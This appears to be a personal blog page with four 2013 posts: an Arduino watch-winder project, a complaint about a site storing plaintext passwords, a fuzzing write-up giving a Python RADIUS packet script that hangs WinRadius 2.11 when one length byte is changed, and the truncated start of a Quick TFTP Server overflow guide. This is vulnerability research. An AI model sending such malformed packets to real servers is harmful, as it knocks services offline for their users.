Automatic Kinetic Watch Winder

June 11th, 2013

I had some spare time a while back and so rather than buying an automatic watch winder for a watch that I rarely wear, I decided to build a USB powered one myself. Certain types of watches require movement through wear to keep them ticking. If you wear the watch daily, this shouldn’t be a problem but missing a day or two will cause the watch to stop – annoying if you don’t wear it regularly.

Watch Automatic Kinetic Winder

Watch Automatic Kinetic Winder

The project was a relatively simple hack, I have an arduino chip connected up with a bare minimum circuit. I have two mini motors attached to off-center drilled metal coins causing them to vibrate when active. The arduino simply sets pin 13 high for 1.5 seconds and then low for an hour. The pin output opens and closes a transistor which provides necessary amplification to drive the two mini motors.

The code as follows:

int pin = 13;
int vibrate = 1500; //1.5s*1000
int sleep = 3600; //60s * 60m
int sleep_loop = 1000;
int sleep_ctr = 0;

// the setup routine runs once when you press reset:
void setup() {
  // initialize the digital pin as an output.
  pinMode(pin, OUTPUT);
}

// the loop routine runs over and over again forever:
void loop() {
  digitalWrite(pin, HIGH);   // turn the pin on (HIGH is the voltage level)
  delay(vibrate);               // wait for a second
  digitalWrite(pin, LOW);    // turn the pin off by making the voltage LOW
  for (sleep_ctr = 0; sleep_ctr < sleep_loop; sleep_ctr++)
  {
    delay(sleep);               // wait for 3.6s * 1000 (1h)
  }
}
Watch Automatic Kinetic Winder

Watch Automatic Kinetic Winder

Please stop storing my password as plaintext

June 11th, 2013

I was just booking tickets to see a show in a few months time at the Southbank Centre and realized that I’d forgotten my login details. Entering my email address in to the password reset page prompted an all too familiar sight:

—cut—
Dear Patron,

Your login credentials are below.

Username: XXXXX

Password: Password1

Thank You.
—cut—

This is the type of forgotten password response that I see all too often. What’s the problem with this? Isn’t it helpful and less hassle from both a development and a user perspective as opposed to clicking links and entering a new password? From a security perspective, there are at least two distinct issues. Firstly, there is no password complexity enforced – it seems that I can enter anything as a password which only encourages weak passwords to be used and therefore the bar is set very low for preventing brute force attacks.

The second issue is that my password is being stored as plain text in the database – i.e. ‘as-is’. There’s no hashing and salting algorithm in use, if there was, they wouldn’t be able to retrieve my password to send it to me, and I would need to enter a fresh one. This means that any employee of the site with administrative or database access can freely gain access to my password, and should the site be compromised, an attacker has full access to the same. Whilst I fortunately don’t use the password ‘Password1’ for any account that I care about, a percentage of other users certainly use the same password across all services such as their email or ISP account.

Lastly, once logged in, the site displays the name and address details entered for previous orders. This is pretty regular and by no means an issue in itself, but storing any kind of personal data on a site user does require that some effort go towards protecting the account that it’s stored under.

Here’s a good post highlighting the issue, so please ask your developers to store passwords in a hashed form, and if they don’t know what this is or why it’s important, hire new ones.

Fuzz to Denial of Service: WinRadius 2.11

June 10th, 2013

I set some time aside to test WinRadius yesterday. Fuzzing was done manually and using a Python script. I didn’t spend too much time on it, but I’m confident that there’s a remote code execution opportunity here. If no one else gets there first, I’ll revisit it in a few weeks.

Firstly, to ensure that our setup is good and to catch a packet, we can use ‘radclient’. I set up a user account adam/adam for testing purposes and then tried to authenticate:

Radius Client Test

Radius Client Test

radclient will form a RADIUS request from our STDIN data

Wireshark Capture

Wireshark Capture

We capture the packet we sent and the response

WinRadius 2.11

WinRadius 2.11

And we confirm that WinRadius received and accepted the request. Once this was done, we needed to create a template within Python, and did so as follows:

#!/usr/bin/python

from socket import *
import sys
import select

pwn =  "\x01" #Code 01
pwn += "\xff" #packet identifier
pwn += "\x00\x2c" #len 44
pwn += "\xd1\x56\x8a\x38\xfb\xea\x4a\x40\xb7\x8a\xa2\x7a\x8f\x3e\xae\x23" #authenticator
pwn += "\x01" #t=User-Name(1)
pwn += "\x06" #avp: l=6
pwn += "\x61\x64\x61\x6d" #adam

pwn += "\x02" #avp t=User-Password(2)
pwn += "\x12" #avp: l=18
pwn += "\xf0\x13\x57\x7e\x48\x1e\x55\xaa\x7d\x29\x6d\x7a\x88\x18\x89\x21" #password (encrypted)

address = ('192.168.200.20', 1812)
server_socket = socket(AF_INET, SOCK_DGRAM)

server_socket.sendto(pwn, address)

We can now replay this packet as we wish, and confirm through Wireshark and WinRadius that all is good and we are being authenticated. The next challenge was to start manually mangling data. After about 15 minutes of trial and error, I found that changing line 16 from \x12 to \xff caused the application to consume all CPU available and hang indefinitely. I couldn’t cause a crash although with a bit more trial and error, as well as trying different Radius requests such as start/stop accounting, etc, I’d be surprised if there wasn’t a RCE somewhere here.

WinRadius DoS Code

WinRadius DoS Code


WinRadius Crash

WinRadius Crash

The application now hangs.

Fuzz to Denial of Service: Quick TFTP Server 2.2

June 6th, 2013

On a recent hunt for bugs, I came across a buffer overflow condition in TallSoft’s newly released Quick TFTP Server 2.2. I thought I’d write a short guide as to how the bug was identified and how the denial of service was constructed against the application. Unfortunately for us, the application was compiled with ‘/GS’ which makes exploitation significantly more difficult. In short, at the start of each function, the compiler inserts a special ‘cookie’ value after the allocated buffer space. When the function returns, if the cookie is intact and matches the expected value, all is good, if not, we can assume that the buffer has been overrun and the application crashes. We can’t predict the expected value and just include it as part of our exploit as it is generated dynamically at runtime. Exploits already exist for previous versions of this application, and it seems that instead of patching the bugs, the vendor has simply recompiled with /GS enabled. Anyway, on to the bug – the first step was to fuzz the application.

Spike TFTP Template

Spike TFTP Template

The RFC and protocol description for TFTP is pretty simple – it’s a UDP service that runs over port 69. This allows us to build a template for SPIKE fuzzer. In the template, we are specifying bytes that must remain consistent, and then ‘variable’ bytes.

This is our SPIKE template. Here, we specify two fixed binary bytes ‘\x00\x02’ followed by a fuzz point i.e. the filename. We then require another fixed null binary byte ‘\x00’, followed by another fuzz point. Lastly, we terminate the payload with a final ‘\x00’ byte. This should maintain the integrity of the protocol whilst we examine how the application will handle different types and length of input placed at the two fuzz points. The next step is running SPIKE against our application and seeing if we observe anything interesting
Read the rest of this entry »